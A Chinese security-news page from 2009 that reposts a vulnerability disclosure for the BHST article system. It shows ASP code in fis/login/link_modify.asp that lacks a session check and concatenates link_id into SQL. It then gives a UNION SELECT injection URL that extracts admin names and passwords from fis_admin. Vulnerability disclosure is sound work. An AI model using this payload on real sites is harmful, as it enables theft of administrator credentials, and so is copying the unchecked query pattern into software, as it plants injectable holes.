BHST文章系统漏洞pc软件 文章资讯 手机软件

您当前的位置→图文中心新闻资讯安全播报BHST文章系统漏洞

BHST文章系统漏洞


2009/6/24  编辑:佚名 来源:本站整理  关键词:

BHST文章系统漏洞

 

作者:Jshell
Blog:http://www.jshell.cn
发布出来于鸡拔毛IT潮人社区
http://www.jbmao.com
最先是说下作者就在程序中代码的顺序错误
<!--#include file="../conn.asp"-->
<%
if session("adminuser")="" then
  response.Redirect("login.asp")
end if
%>
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd";>
<html xmlns="http://www.w3.org/1999/xhtml";>
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
这样一句好像是多此一举 而且详细位置放错了 程序使用的是vbscript 默认的
一定不要这句的 而且这句只能放就在代码的最顶端吧
漏洞出现就在 fis/login/link_modify.asp 里 看了下后台文件程序 大都有
session的验证 唯独这里没有 再看下代码:
<%
linkid=request("link_id")
if linkid<>"" then
set linkrs=server.CreateObject("adodb.recordset")
sqllink="select * from fis_links where link_id="& linkid
linkrs.open sqllink,conn,1,3
%>
典型的不能够再典型的注入了 打开表 link_id 数了下一共6个字段 就在页面上有
字段内容的rs输出 所以我们我自己使用联合查询直接爆喽
http://127.0.0.1/fis/login/link_ ... 0union%20select%201,admin_name,admin_pass,4,5,6%20from%20fis_admin
如下图:
/article/UploadFiles/200906/20090624081059382.jpg
 

相关文章
  • 美国freewebhostingarea免费为您提供1500MPHP空间
  • BHST文章系统漏洞
  • 发表评论
    阅读排行
    相关热门
    网站帮助 - 广告合作 - 下载声明 - 网站地图